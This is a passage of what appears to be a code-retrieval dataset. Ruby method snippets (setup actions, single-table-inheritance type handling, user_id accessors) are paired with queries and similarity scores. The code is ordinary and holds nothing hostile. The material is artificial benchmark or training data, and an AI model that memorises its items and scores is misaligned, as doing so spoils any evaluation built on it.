@callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
ccc541f229d1325d56aaed47045b943f
adds _type single collection inheritance scope for models that need it
[ { "docid": "bb8d4b7a2d4992128738189da499b4c1", "score": "0.7592543", "text": "def add_sci_scope(model, criteria)\n if model.single_collection_inherited?\n criteria[:_type] = model.to_s\n end\n end", "title": "" } ]
[ { "docid": "1cff3c376ec8e68e5752ee28f9f6fc1b", "score": "0.7968689", "text": "def add_sci_scope\n if @model.single_collection_inherited?\n @conditions[:_type] = @model.to_s\n end\n end", "title": "" }, { "docid": "1cff3c376ec8e68e5752ee28f9f6fc1b", "score": "0.7968689", "text": "def add_sci_scope\n if @model.single_collection_inherited?\n @conditions[:_type] = @model.to_s\n end\n end", "title": "" }, { "docid": "1cff3c376ec8e68e5752ee28f9f6fc1b", "score": "0.7968689", "text": "def add_sci_scope\n if @model.single_collection_inherited?\n @conditions[:_type] = @model.to_s\n end\n end", "title": "" }, { "docid": "069c0ed62d1460b78cdfafe500c581e6", "score": "0.67709386", "text": "def collection_type(type)\n type = (type || :list).to_sym\n @manifest.collection_type = type\n self\n end", "title": "" }, { "docid": "97d2ee696d83a95e069f739a41e36186", "score": "0.66114604", "text": "def add_sci_condition\n @conditions[:_type] = model.to_s if model.single_collection_inherited?\n end", "title": "" }, { "docid": "b9f489301e1372243367669a4773d533", "score": "0.6518192", "text": "def base_types\n @base_types ||= begin\n query = \"app:collection[cra:collectionType[child::text() = 'types']]/@href\"\n href = data.xpath(query, NS::COMBINED)\n if href.first\n url = href.first.text\n Collection.new(self, url) do |entry|\n id = entry.xpath(\"cra:type/c:id\", NS::COMBINED).text\n type_by_id id\n end\n else\n raise \"Repository has no types collection, this is strange and wrong\"\n end\n end\n end", "title": "" }, { "docid": "5bdcacf3126d63cc210c8d5668b724be", "score": "0.63304245", "text": "def collection_scope; end", "title": "" }, { "docid": "5bdcacf3126d63cc210c8d5668b724be", "score": "0.63304245", "text": "def collection_scope; end", "title": "" }, { "docid": "5bdcacf3126d63cc210c8d5668b724be", "score": "0.63304245", "text": "def collection_scope; end", "title": "" }, { "docid": "5bdcacf3126d63cc210c8d5668b724be", "score": "0.63304245", "text": "def collection_scope; end", "title": "" }, { "docid": "4c563bc1fa89ef0db839cfbd8d5c15f0", "score": "0.6238137", "text": "def type(type)\n @scope.type(type)\n end", "title": "" }, { "docid": "c5fc87a032ad9791828c0b34ebc1a7fe", "score": "0.6182413", "text": "def record_scope(type)\n record_class(type).all\n end", "title": "" }, { "docid": "71464e78110235e214bc9adb57309377", "score": "0.6134951", "text": "def set_typecollection\n @typecollection = Typecollection.find(params[:id])\n end", "title": "" }, { "docid": "66c4a7a1dc6aff352a9bc0d0e43d1079", "score": "0.6130097", "text": "def _types\n @_type ||= (self.subclasses + [ self.name ])\n end", "title": "" }, { "docid": "6fdd98261e9d76227ad39c5de32fe9d6", "score": "0.6101537", "text": "def preload_sti\n #ap \"BLARGH4\"\n types_in_db = base_class\n .unscoped\n .select(inheritance_column)\n .distinct\n .pluck(inheritance_column)\n .compact\n #ap types_in_db\n types_in_db.each do |type|\n logger.debug(\"Preloading STI type #{type}\")\n type.constantize\n end\n\n self.preloaded = true\n end", "title": "" }, { "docid": "c17171c1334f677bdd22b8080c6dfd7d", "score": "0.6052504", "text": "def types\n @types ||= TypeCollection.new(self)\n end", "title": "" }, { "docid": "dde1a08d5027a426ed6b7b470df00f0c", "score": "0.60497075", "text": "def preload_sti\n types_in_db = \\\n base_class.\n unscoped.\n select(inheritance_column).\n distinct.\n pluck(inheritance_column).\n compact\n\n types_in_db.each do |type|\n logger.debug(\"Preloading STI type #{type}\")\n type.constantize\n end\n\n self.preloaded = true\n end", "title": "" }, { "docid": "757dbc5ff77ce6557b121b5a6290c299", "score": "0.6043997", "text": "def initialize_types\n @types = inherited_types\n end", "title": "" }, { "docid": "b84557debc53b59cfb54d89399e2c48b", "score": "0.5964044", "text": "def create_type_collection\n [ [:new, 'New'], [:existing, 'Share existing'], [:orphan, 'Adopt orphan'] ]\n end", "title": "" }, { "docid": "bccad22ddc0b511245d26a405cf9a6e7", "score": "0.59536487", "text": "def scope_type=(value)\n @scope_type = value\n end", "title": "" }, { "docid": "bccad22ddc0b511245d26a405cf9a6e7", "score": "0.59536487", "text": "def scope_type=(value)\n @scope_type = value\n end", "title": "" }, { "docid": "fed2bf61a41ef0dbd012923a987dd086", "score": "0.5952624", "text": "def _types\n @_type ||= (descendants + [ self ]).uniq.map { |t| t.to_s }\n end", "title": "" }, { "docid": "599b92be030e22cd5321b7c61ca21352", "score": "0.59453803", "text": "def inheritance_column\n @inheritance_column ||= \"type\".freeze\n end", "title": "" }, { "docid": "599b92be030e22cd5321b7c61ca21352", "score": "0.59423584", "text": "def inheritance_column\n @inheritance_column ||= \"type\".freeze\n end", "title": "" }, { "docid": "899cff64c841291443dafe01525c83bd", "score": "0.5939736", "text": "def inherited_scope\n if resource && resource.type == TYPENAME_CLASS && !resource.resource_type.parent.nil?\n qualified_scope(resource.resource_type.parent)\n else\n nil\n end\n end", "title": "" }, { "docid": "440e35a18c3d59d4a52dcfe9e203defb", "score": "0.5869544", "text": "def recordable_type=(sType)\n super(sType.to_s.classify.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "440e35a18c3d59d4a52dcfe9e203defb", "score": "0.5869544", "text": "def recordable_type=(sType)\n super(sType.to_s.classify.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "d8ed50a9e6ac95fe04f9ff58330c0cdd", "score": "0.5866363", "text": "def subtypes\n @subtypes ||= []\n end", "title": "" }, { "docid": "6433392c3a9a71da822ab041ab3faa93", "score": "0.5845507", "text": "def _types\n @_types ||= (descendants + [ self ]).uniq.map(&:discriminator_value)\n end", "title": "" }, { "docid": "010828844d23b4a2a4579e56024da072", "score": "0.58101034", "text": "def ensure_proper_type\n klass = self.class\n if klass.finder_needs_type_condition?\n write_attribute(klass.inheritance_column, klass.sti_name)\n end\n end", "title": "" }, { "docid": "010828844d23b4a2a4579e56024da072", "score": "0.58101034", "text": "def ensure_proper_type\n klass = self.class\n if klass.finder_needs_type_condition?\n write_attribute(klass.inheritance_column, klass.sti_name)\n end\n end", "title": "" }, { "docid": "010828844d23b4a2a4579e56024da072", "score": "0.5809063", "text": "def ensure_proper_type\n klass = self.class\n if klass.finder_needs_type_condition?\n write_attribute(klass.inheritance_column, klass.sti_name)\n end\n end", "title": "" }, { "docid": "0fc50c4319901fa8d0117f2e084587f2", "score": "0.57848924", "text": "def source_for_collection\n apply_scopes(super)\n end", "title": "" }, { "docid": "756a9f9d8f280e5abd9bd60df6745921", "score": "0.57748044", "text": "def subtypes\n parent? ? parent.child_subtypes : self.class.subtypes\n end", "title": "" }, { "docid": "0d05400a8ab7d933df9859b0b66e1310", "score": "0.57601005", "text": "def collection_type\n self.class.send(__method__)\n end", "title": "" }, { "docid": "61ab98763f4802db8b8465fc37eaf7ee", "score": "0.5726507", "text": "def ensure_proper_type\n unless self.class.descends_from_couch_foo?\n write_attribute(self.class.inheritance_column, self.class.name)\n end\n end", "title": "" }, { "docid": "f108dc0cb31933a5a271df5c2fa72810", "score": "0.5725738", "text": "def ensure_proper_type\n unless self.class.descends_from_active_record?\n write_attribute(self.class.inheritance_column, self.class.sti_name)\n end\n end", "title": "" }, { "docid": "9db64e8b04042b6e0c515aef21e71d52", "score": "0.57231975", "text": "def add_specimen_class(type)\n child_specimen_classes << type\n end", "title": "" }, { "docid": "2d8264cff341a97392be4745bb40b844", "score": "0.56908745", "text": "def build_collection\n resource_scope\n end", "title": "" }, { "docid": "1d5dbad4d41b3a1fb71ba71dddc74dfc", "score": "0.56868243", "text": "def add_type(type)\n # like sequel storage, we are donig nothing\n end", "title": "" }, { "docid": "77eb4a84d66de0eacc22a5f32d3732e6", "score": "0.5677267", "text": "def before_create\n self.type = self.class.type\n super\n end", "title": "" }, { "docid": "88323e1ead14d6f616a65d676b24a143", "score": "0.5674996", "text": "def relate_collection(type, name, options)\n name = name.to_s\n\n define_method(name) do\n type.new(self, name, options)\n end\n end", "title": "" }, { "docid": "e90c551742bf82dea3ae162c10da56d6", "score": "0.567394", "text": "def attachable_type=(sType)\n super(sType.to_s.classify.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "e90c551742bf82dea3ae162c10da56d6", "score": "0.567394", "text": "def attachable_type=(sType)\n super(sType.to_s.classify.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "e90c551742bf82dea3ae162c10da56d6", "score": "0.567394", "text": "def attachable_type=(sType)\n super(sType.to_s.classify.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "151f6018197f472f4f9655be46b73d09", "score": "0.56691015", "text": "def add_type(type)\n # does nothing, types are differentiated by the 'typ' column\n end", "title": "" }, { "docid": "78ebeca19989cfc136ce832838b8c19e", "score": "0.5668914", "text": "def item_type=(sType)\n super(sType.to_s.classify.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "78ebeca19989cfc136ce832838b8c19e", "score": "0.5668914", "text": "def item_type=(sType)\n super(sType.to_s.classify.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "58252854c481ad99c85d5760d363fd00", "score": "0.56676996", "text": "def owner_type=(sType)\n super(sType.to_s.classify.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "904f3a769340fb1521b2d65cc70d5161", "score": "0.56397164", "text": "def gen_reftype(type, opts)\n opts[:is_subcollection] ? \"#{@req.collection}/#{@req.collection_id}/#{type}\" : type\n end", "title": "" }, { "docid": "0d11a174c816715f1208f7b508b838f3", "score": "0.56378305", "text": "def class\n\t\tbegin\n\t\t\tdefined?(::Rails) && @attributes[:_type] ? @attributes[:_type].camelize.constantize : super\n\t\trescue NameError\n\t\t\tsuper\n\t\tend\n\tend", "title": "" }, { "docid": "fe706b7532aaa310e7b66b86c402adbd", "score": "0.5637297", "text": "def base_scope\n if @search\n @search.make_query\n else\n base_class\n end\n end", "title": "" }, { "docid": "7953c9f20b3a0c43017ecb0e88d3e636", "score": "0.56366616", "text": "def inherited(klass)\n repository << klass\n end", "title": "" }, { "docid": "ae35fa7324895f5e32829eda0393ddce", "score": "0.56346005", "text": "def scoped_collection\n super.preload(:rate_group, :routing_tag_mode, network_prefix: %i[country network])\n end", "title": "" }, { "docid": "e71982c06d53e7c691618cdbd6628cc4", "score": "0.5633052", "text": "def parent_type; end", "title": "" }, { "docid": "02686b638f643aa6233518672d5f93cd", "score": "0.56302583", "text": "def register_type_model(type)\n registry.merge type.registry.minimal(type.name)\n end", "title": "" }, { "docid": "e101ba1e9b0e86560cfe6de51791c0e8", "score": "0.5626965", "text": "def add_type(type)\n\n # does nothing, types are differentiated by the 'typ' column\n end", "title": "" }, { "docid": "e101ba1e9b0e86560cfe6de51791c0e8", "score": "0.5626965", "text": "def add_type(type)\n\n # does nothing, types are differentiated by the 'typ' column\n end", "title": "" }, { "docid": "dc257607d93c2bb39ffbfaf19ed620e3", "score": "0.5623783", "text": "def relate_lookup_collection\n belongs_to :referenced, :polymorphic => true\n end", "title": "" }, { "docid": "61bfc34a38415e9fbb367c6461e851f7", "score": "0.5621811", "text": "def set_base_type\n self.base_type = self.name.to_s.classify.constantize.base_class.to_s\n self.table_name = self.name.to_s.classify.constantize.base_class.table_name.to_s\n end", "title": "" }, { "docid": "bfd4db1cc9824c40245485ab458a63a8", "score": "0.56208616", "text": "def collection_scope\n resource_scope\n end", "title": "" }, { "docid": "753a61f92a5cd767809937431e8ba47b", "score": "0.5615053", "text": "def add_specimen_class(type)\n storage_types << type\n end", "title": "" }, { "docid": "62e1e6ae5960ba5d5fa6e6701b9bc6b0", "score": "0.56109244", "text": "def type_hierarchy; end", "title": "" }, { "docid": "c01eb6e52ae95f5f2ee74ce0a527c391", "score": "0.5606267", "text": "def parent_types\n []\n end", "title": "" }, { "docid": "c01eb6e52ae95f5f2ee74ce0a527c391", "score": "0.5606267", "text": "def parent_types\n []\n end", "title": "" }, { "docid": "cb87bedc43e3c8478f1b9cc230f7cdb8", "score": "0.5605096", "text": "def parent_type\n unless instance_variable_defined?(:@parent_type)\n symbols_for_association_chain\n end\n\n if instance_variable_defined?(:@parent_type)\n @parent_type\n end\n end", "title": "" }, { "docid": "6601138157daea1803d18d21bc4d8b82", "score": "0.5602503", "text": "def subtypes\n [ ]\n end", "title": "" }, { "docid": "20e6678df7e6bc7ac0a4ac8937a9dfd4", "score": "0.5600369", "text": "def application_context\n { related_class: type }\n end", "title": "" }, { "docid": "9a75192d16a82eb5927086b3704a6253", "score": "0.5594643", "text": "def add_type(type)\n end", "title": "" }, { "docid": "9a75192d16a82eb5927086b3704a6253", "score": "0.5594643", "text": "def add_type(type)\n end", "title": "" }, { "docid": "fe584fc09db20deb09787494c1266bd2", "score": "0.5586917", "text": "def resource_type\n if exist?\n :collection if collection?\n end\n end", "title": "" }, { "docid": "94b3d695f2c15eec96707c4cc9528855", "score": "0.55824536", "text": "def owner_type=(_); end", "title": "" }, { "docid": "9ddde7d6ca84e227c90bfe02393c1594", "score": "0.5579488", "text": "def _model_type(type)\n \n case type.class\n when SlowBlink::OBJECT\n @anyTaggedGroup \n when SlowBlink::DynamicGroup\n anyTaggedGroup = @anyTaggedGroup\n taggedGroups = @taggedGroups\n Class.new(DynamicGroup) do\n @anyTaggedGroup = anyTaggedGroup\n @taggedGroups = taggedGroups\n @permittedID = type.groups.map{|g|g.id}\n @type = type\n end\n when SlowBlink::StaticGroup\n groups = @groups\n Class.new(StaticGroup) do\n @groups = groups\n @type = type \n end \n else \n Class.new(SlowBlink::Message.const_get(type.class.name.split(':').last)) do\n @type = type \n end \n end\n end", "title": "" }, { "docid": "9997f55f75403db15fd94b29f8fca18e", "score": "0.55663955", "text": "def collection(type)\n\t\t\t\tcase type.to_s\n\t\t\t\twhen 'link' then @lnk_store\n\t\t\t\twhen 'rel' then @rel_store\n\t\t\t\twhen 'txt' then @txt_store\n\t\t\t\twhen 'type' then @typ_store\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "5c4ee529cb1afb3d7d0f606fc904b55a", "score": "0.5563948", "text": "def add_class_or_module(collection, class_type, name, superclass)\n cls = collection[name]\n\n if cls then\n cls.superclass = superclass unless cls.module?\n puts \"Reusing class/module #{cls.full_name}\" if $DEBUG_RDOC\n else\n all = nil\n \n @@lock.synchronize do\n if class_type == NormalModule then\n all = @@all_modules\n else\n all = @@all_classes\n end\n\n cls = all[name]\n end\n\n if !cls then\n cls = class_type.new name, superclass\n unless @done_documenting\n @@lock.synchronize do\n all[name] = cls\n end\n end\n else\n # If the class has been encountered already, check that its\n # superclass has been set (it may not have been, depending on\n # the context in which it was encountered).\n if class_type == NormalClass\n if !cls.superclass then\n cls.superclass = superclass\n end\n end\n end\n\n collection[name] = cls unless @done_documenting\n\n cls.parent = self\n end\n\n cls\n end", "title": "" }, { "docid": "cd6d02a4a91d763bd554d87a30acf12b", "score": "0.55612415", "text": "def create_scope\n super.tap do |scope|\n next unless options.key?(:store)\n\n key = reflection.foreign_key.pluralize\n scope[options[:store].to_s] ||= {}\n scope[options[:store].to_s][key] ||= []\n scope[options[:store].to_s][key] << owner[\n reflection.active_record_primary_key\n ]\n end\n end", "title": "" }, { "docid": "36c79e9368c2ee53f5c32cd85912481f", "score": "0.5554607", "text": "def parent_scope\n parent.send(model_class.name.underscore.pluralize)\n end", "title": "" }, { "docid": "36c79e9368c2ee53f5c32cd85912481f", "score": "0.5554607", "text": "def parent_scope\n parent.send(model_class.name.underscore.pluralize)\n end", "title": "" }, { "docid": "b301f2011ecb3c11e81ac86385ea2d75", "score": "0.555068", "text": "def model_type\n self.type\n end", "title": "" }, { "docid": "1a0ab61ace02ab082b67e5fdb8074091", "score": "0.5547463", "text": "def owner_type=(sType)\n super(sType.to_s.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "7376a0fc5f7a729303d6d4401098c1a2", "score": "0.5544716", "text": "def attachable_type=(sType)\n super(sType.to_s.classify.constantize.base_class.to_s)\n end", "title": "" }, { "docid": "fe5d89a34db4f10d159d7775a1c4fdb6", "score": "0.55432135", "text": "def referenced_types\n [@type]\n end", "title": "" }, { "docid": "1f0f170cf98a4171238fdb3951a906dc", "score": "0.5541346", "text": "def target_scope\n scope = super\n reflection.chain.drop(1).each do |reflection|\n relation = reflection.klass.all\n\n reflection_scope = reflection.scope\n if reflection_scope && reflection_scope.arity.zero?\n relation = relation.merge(reflection_scope)\n end\n\n scope.merge!(\n relation.except(:select, :create_with, :includes, :preload, :joins, :eager_load)\n )\n end\n scope\n end", "title": "" }, { "docid": "feb28cd3031453fa1ac98f96c03e5d3e", "score": "0.5541065", "text": "def scope_type\n return @scope_type\n end", "title": "" }, { "docid": "feb28cd3031453fa1ac98f96c03e5d3e", "score": "0.5541065", "text": "def scope_type\n return @scope_type\n end", "title": "" }, { "docid": "109094423254da3fed7cdbb966f1b7af", "score": "0.55392957", "text": "def commentable_type=(sType) \n super(sType.to_s.classify.constantize.base_class.to_s) \n end", "title": "" }, { "docid": "dfac5a45526c71d34597e87396a0ba14", "score": "0.55373394", "text": "def initialize()\n super(:namespace=>\"collection\")\n self.type = \"Collection\"\n end", "title": "" }, { "docid": "f5923deced6673c546702498107e2d37", "score": "0.55333215", "text": "def type\n @clean_type ||= GraphQL::BaseType.resolve_related_type(@dirty_type)\n end", "title": "" }, { "docid": "f5923deced6673c546702498107e2d37", "score": "0.55333215", "text": "def type\n @clean_type ||= GraphQL::BaseType.resolve_related_type(@dirty_type)\n end", "title": "" }, { "docid": "a621d1a06d7bc9c48df3fb3f5c5f29de", "score": "0.55316925", "text": "def with(type)\n type = self.content_type_repository.find(type) if type.is_a?(String)\n\n self.content_type = type # used for creating the scope\n self.scope.context[:content_type] = type\n\n @local_conditions[:content_type_id] = type.try(:_id)\n\n self # chainable\n end", "title": "" }, { "docid": "b268db7d95d4361080d1dc3a13e3a74b", "score": "0.5527689", "text": "def dup_type_class(type_class); end", "title": "" }, { "docid": "41d9096dfe343b50482788c5031459a2", "score": "0.55226094", "text": "def preload_sti\n base_class.type_enum.flatten.map(&:constantize)\n\n self.preloaded = true\n end", "title": "" }, { "docid": "bc17eb7757af55ef37129664aa554bbf", "score": "0.5520921", "text": "def collection\n policy_scope(self.class.model_class.all)\n end", "title": "" }, { "docid": "1f4483a80c44079c4f08e39428e6e28b", "score": "0.5520744", "text": "def generic_collection_type\n object_type = ObjectType.find_by_name(GENERIC_COLLECTION_TYPE)\n return object_type if object_type.present?\n\n object_type = ObjectType.create_from(\n {\n name: GENERIC_COLLECTION_TYPE,\n description: DESCRIPTION,\n min: 0,\n max: 1,\n handler: 'collection',\n safety: 'No safety information',\n clean_up: 'No cleanup information',\n data: 'No data',\n vendor: 'No vendor information',\n unit: 'each',\n cost: 0.01,\n release_method: 'return',\n release_description: '',\n image: '',\n prefix: '',\n rows: 8,\n columns: 12\n }\n )\n object_type.save\n object_type\n end", "title": "" }, { "docid": "8a17199861e453ca13ab8f5b7449c2f2", "score": "0.5514323", "text": "def model_scope\n if parent.present?\n parent_scope\n else\n super\n end\n end", "title": "" }, { "docid": "0d19f0e7de1276d55fdcd148abd843dc", "score": "0.5513831", "text": "def sub_type; end", "title": "" }, { "docid": "0d19f0e7de1276d55fdcd148abd843dc", "score": "0.5513831", "text": "def sub_type; end", "title": "" }, { "docid": "0d19f0e7de1276d55fdcd148abd843dc", "score": "0.5513831", "text": "def sub_type; end", "title": "" }, { "docid": "82666c08fed29f73ed3c805812ae3fa2", "score": "0.5512528", "text": "def scoped_collection\n\n end_of_association_chain\n\n end", "title": "" }, { "docid": "2a68179d9b5c9b81958c48b2570a4209", "score": "0.5502199", "text": "def itemscope\n @itemscope ||=\n case result_type.subtype\n when 'owned'\n user.decorate.owned_lists viewer # ListServices.lists_owned_by user, viewer\n when 'collected'\n user.decorate.collection_lists viewer # ListServices.lists_collected_by user, viewer\n when 'all'\n List.unscoped\n else # By default, we only see lists belonging to our friends and Super that are not private, and all those that are public\n ListServices.visible_lists(viewer, true).where.not(name_tag_id: [16310, 16311, 16312]) # .order(owner_id: :desc)\n end\n end", "title": "" } ]
93f4637bf703fdb4c6d1a30b5ff99622
No sense in extracting any of this to concerns, they're simple enough. Although I didn't implement and auth/user functionality, I've included a user_id field anyway.
[ { "docid": "7e80d05c59e652a79383d797db36e003", "score": "0.0", "text": "def index \n render json: Favorite.where(user_id: 1).pluck(:image_id)\n end", "title": "" } ]
[ { "docid": "4455b8743eb88893dc6cc1804292d190", "score": "0.7531565", "text": "def user_id\n id\n end", "title": "" }, { "docid": "10638d19457874ce810b0f99f0aa704a", "score": "0.75237817", "text": "def user_id\n super\n end", "title": "" }, { "docid": "48d12499f13f0dc07712442246ae8a34", "score": "0.72390425", "text": "def user_id\n self.user.id\n end", "title": "" }, { "docid": "6da3c0b7e2f1d57f3bd367678b49beb1", "score": "0.7227341", "text": "def user_id\n self.user.id if self.user\n end", "title": "" }, { "docid": "0ef860138aae6c14a2ee9264698d5d20", "score": "0.7191049", "text": "def user_id\n @user_id ||= self.id\n end", "title": "" }, { "docid": "e07e6539cb5f1e0da41f6ba0d9d730ee", "score": "0.71132606", "text": "def needs_user_id\n self.extend NeedsUserId\n end", "title": "" }, { "docid": "d871162e87b6a5c57c910e37a3add4ea", "score": "0.71128654", "text": "def userid\n user_id\n end", "title": "" }, { "docid": "d871162e87b6a5c57c910e37a3add4ea", "score": "0.71128654", "text": "def userid\n user_id\n end", "title": "" }, { "docid": "d871162e87b6a5c57c910e37a3add4ea", "score": "0.71128654", "text": "def userid\n user_id\n end", "title": "" }, { "docid": "a3779a128b31d7dc64d40e9eb8c2f04d", "score": "0.70490384", "text": "def user_id\n user ? user.id : nil\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "534dad6e19e1ce806529192c8042fe3a", "score": "0.7044413", "text": "def user_id\n @attributes[:user_id]\n end", "title": "" }, { "docid": "b36d47f90904ff929d0b2ac0c45d6a6a", "score": "0.7033597", "text": "def user_id\n @user_id\n end", "title": "" }, { "docid": "fa8387c3fb2a6540a055a7bb190ffe9d", "score": "0.6987333", "text": "def user_id\n data.user_id\n end", "title": "" }, { "docid": "fa8387c3fb2a6540a055a7bb190ffe9d", "score": "0.6987333", "text": "def user_id\n data.user_id\n end", "title": "" }, { "docid": "8b39c57b22129722e25281265a0f6c04", "score": "0.69326055", "text": "def user_id\n self.name.blank? ? self.user.login : self.title_and_name\n end", "title": "" }, { "docid": "1301a863940de7dd3e35e522e6a78d9f", "score": "0.6888068", "text": "def user_id\n data[:user_id]\n end", "title": "" }, { "docid": "0218072ff7ccb4f0c67a5bd048d49584", "score": "0.68571854", "text": "def UserId\n\t\tend", "title": "" }, { "docid": "f06dbcc08b17fb301b46e2b91f0c721f", "score": "0.6806649", "text": "def user_id\n @user_data.user_id\n end", "title": "" }, { "docid": "fc6beb266dc4cac09b32543bb711dcfa", "score": "0.6804078", "text": "def id\n @user['user_id'].to_i\n end", "title": "" }, { "docid": "48225f4ab282761b1bca769fa5e8721e", "score": "0.6788621", "text": "def user_id\n return @user_id\n end", "title": "" }, { "docid": "48225f4ab282761b1bca769fa5e8721e", "score": "0.6788621", "text": "def user_id\n return @user_id\n end", "title": "" }, { "docid": "48225f4ab282761b1bca769fa5e8721e", "score": "0.6788621", "text": "def user_id\n return @user_id\n end", "title": "" }, { "docid": "48225f4ab282761b1bca769fa5e8721e", "score": "0.6788621", "text": "def user_id\n return @user_id\n end", "title": "" }, { "docid": "48225f4ab282761b1bca769fa5e8721e", "score": "0.6788621", "text": "def user_id\n return @user_id\n end", "title": "" }, { "docid": "48225f4ab282761b1bca769fa5e8721e", "score": "0.6788621", "text": "def user_id\n return @user_id\n end", "title": "" }, { "docid": "48225f4ab282761b1bca769fa5e8721e", "score": "0.6788621", "text": "def user_id\n return @user_id\n end", "title": "" }, { "docid": "48225f4ab282761b1bca769fa5e8721e", "score": "0.6788621", "text": "def user_id\n return @user_id\n end", "title": "" }, { "docid": "48225f4ab282761b1bca769fa5e8721e", "score": "0.6788621", "text": "def user_id\n return @user_id\n end", "title": "" }, { "docid": "eccdb5904fbcef82d9982e5b883b1937", "score": "0.6772965", "text": "def get_user_id\n @user_id ||= self.user.id\n end", "title": "" }, { "docid": "54498e64da993e4f7092e7c73be1f995", "score": "0.6711393", "text": "def user\n object.user.id\n end", "title": "" }, { "docid": "54498e64da993e4f7092e7c73be1f995", "score": "0.6711393", "text": "def user\n object.user.id\n end", "title": "" }, { "docid": "6176f4702f6c5cf51745359ff29dd147", "score": "0.6634826", "text": "def user_id(data)\n raise NotImplementedError \"All service subclasses must implement the user_id method.\"\n end", "title": "" }, { "docid": "65bf775d4dd08429740086b2084edaa2", "score": "0.66170716", "text": "def user_id\n if auth\n auth[\"user\"]\n end\n end", "title": "" }, { "docid": "788a3249d74eeb119dcb4804040c850d", "score": "0.65868634", "text": "def user_id\n current_user.nil? 